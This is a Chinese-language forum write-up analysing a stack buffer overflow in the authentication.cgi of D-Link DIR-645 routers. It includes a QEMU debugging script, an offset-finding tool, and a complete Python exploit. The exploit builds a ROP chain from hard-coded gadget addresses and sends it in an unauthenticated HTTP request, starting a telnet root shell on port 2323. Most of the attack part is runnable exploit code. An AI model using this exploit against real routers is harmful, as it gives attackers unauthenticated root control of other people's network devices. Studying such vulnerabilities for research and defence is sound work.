其他
D-Link DIR-645路由器栈溢出漏洞分析
目录
01-漏洞描述
02-环境/工具
03-漏洞分析
04-漏洞利用
4.1-选择攻击途径
4.2-确定偏移
4.3-构造payload
4.4-完整exp
05-漏洞测试
06-参考
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication.
This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
#!/bin/bash
# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
INPUT="$1" # 参数1,uid=A21G&password=1160个A
TEST="$2" # 参数2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口
# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu # 删除拷贝过来的执行文件
去掉2>/dev/null,使其显示报错信息(2-标准报错信息
chroot: failed to run command ‘./qemu’: No such file or directory
https://blog.csdn.net/xieqianhua55/article/details/50749489
apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static
应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
4.1-选择攻击途径
4.2-确定偏移
#!/usr/bin/env python
#####################################################################################
## Create pattern strings & location offset
## Tested against Ubuntu 12.04 & Windows # #
##
## Example:
## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt
### [*] Create pattern string contains 260 characters ok!
### [+] output to output.txt ok!
##
## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260
### [*] Create pattern string contains 260 characters ok!
### [*] Exact match at offset 3
#
## Nimdakey # 09-10-2013
#####################################################################################
import argparse
import struct
import binascii
import string
import time
import sys
import re
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b = "abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
#
# pattern create
codeStr = ''
print '[*] Create pattern string contains %d characters'%count,
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output,
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
#
# pattern search
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
#41613141
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1:
print "[*] Exact match at offset %d"%offset
else:
print "[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)"%offset
print "[+] take time: %.4f s"%(time.time()-timeStart)
def main():
## parse argument
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',\
action='store_true')
parser.add_argument('-f', '--file', help='output file name',\
default='patternShell.txt')
parser.add_argument('-l', '--length',help='length of pattern code',\
type=int,default=1024)
#parser.add_argument('-v', dest='verbose', action='store_true')
args = parser.parse_args()
## save all argument
length = args.length
output = args.file
#verbose = args.verbose
createCode = args.create
searchCode = args.search
if createCode and (0 < args.length <= 26*26*10):
#eg: -c -l 90
generate(length,output)
elif searchCode and (0 < args.length <= 26*26*10):
#eg: -s 0x474230141
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
# ...
if __name__ == "__main__":
main()
4.3-构造payload
# 0x531ff:伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
# 0x158c8:rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
# 0x159cc:rop chain 2(执行system函数,传参cmd以执行命令
# 0x2aaf8000:so动态库的加载基址
# 1. $s0偏移为1104,0x531ff只占了3,1104-3=1101
payload.AddNops(1011)
# 2. 要跳往的system地址53200-1=531ff,再加so的加载基址,
payload.AddAddress(0x531ff,0x2aaf8000) # $s0
# 无关紧要,滑板指令即可
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
# 3. 第一条rop链中,会jalr $s5,故此是第二条rop链的地址
payload.AddAddress(0x159cc, 0x2aaf8000) # $s5
# 无关紧要,滑板指令即可
payload.AddNops(4) # unused($s6)
payload.AddNops(4) # unused($s7)
payload.AddNops(4) # unused($gp)
# 4. 返回地址,先跳往第一条rop链,经计算后获取真正的system函数地址
payload.AddAddress(0x158c8, 0x2aaf8000) # $ra
# 无关紧要,滑板指令即可
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
# 5. 第二条rop链中$sp+0x10的位置,存放待执行的cmd命令
payload.Add('telnetd -p 2323') # shellcode,在2323端口开启telnet服务
4.4-完整exp
#!/usr/bin/env python
#####################################################################################
# Exploit for the DIR-605L CAPTCHA login stack based buffer overflow
#vulnerability. # Spawns a reverse root shell to 192.168.1.100 on port
#8080. # Tested against firmware versions 1.10, 1.12 and 1.13. # #
### 06-October-2012
#####################################################################################
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES = [0x00]
LITTLE = "little"
BIG = "big"
FILLER = "A"
BYTES = 4
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self, value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for byte in self.badbytes:
if c == chr(byte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
count += 1
return self.shellcode
def Print(self, bpl=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\\x%.2X" % ord(c))
sys.stdout.flush()
if bpl > 0:
i += 1
print "\n"
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
#just for DIR645
if type(data) == dict:
pdata = []
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s' % (self.proto, self.host)
uri = '/%s' % uri
if data is not None:
data = self.Encode(data)
#print data
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST',uri,data,headers=headers)
response=httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x2aaf8000 # so动态库的加载基址
target = {
"1.03" : [
0x531ff, # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
0x158c8, # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
0x159cc, # rop chain 2(执行system函数,传参cmd以执行命令
],
}
v = '1.03'
cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务
ip = '192.168.0.1' # 服务器IP地址//here
# 构造payload
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddNops(1011) # filler # 7. 填充1011个字节,$s0偏移为1104,129行target数组中地址只占了3,04-3=01
payload.AddAddress(target[v][0], base=libc) # $s0
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
payload.AddAddress(target[v][2], base=libc) # $s5
payload.AddNops(4) # unused($s6)
payload.AddNops(4) # unused($s7)
payload.AddNops(4) # unused($gp)
payload.AddAddress(target[v][1], base=libc) # $ra
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.AddNops(4) # fill
payload.Add(cmd) # shellcode
# 构造http数据包
pdata = {
'uid' : '3Ad4',
'password' : 'AbC' + payload.Build(),
}
header = {
'Cookie' : 'uid='+'3Ad4',
'Accept-Encoding': 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
# 发起http请求
try:
HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
print '[+] execute ok'
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception,e:
print "2Payload delivery failed: %s" % str(e)
看雪ID:21Gun5
https://bbs.pediy.com/user-868592.htm
推荐文章++++
好书推荐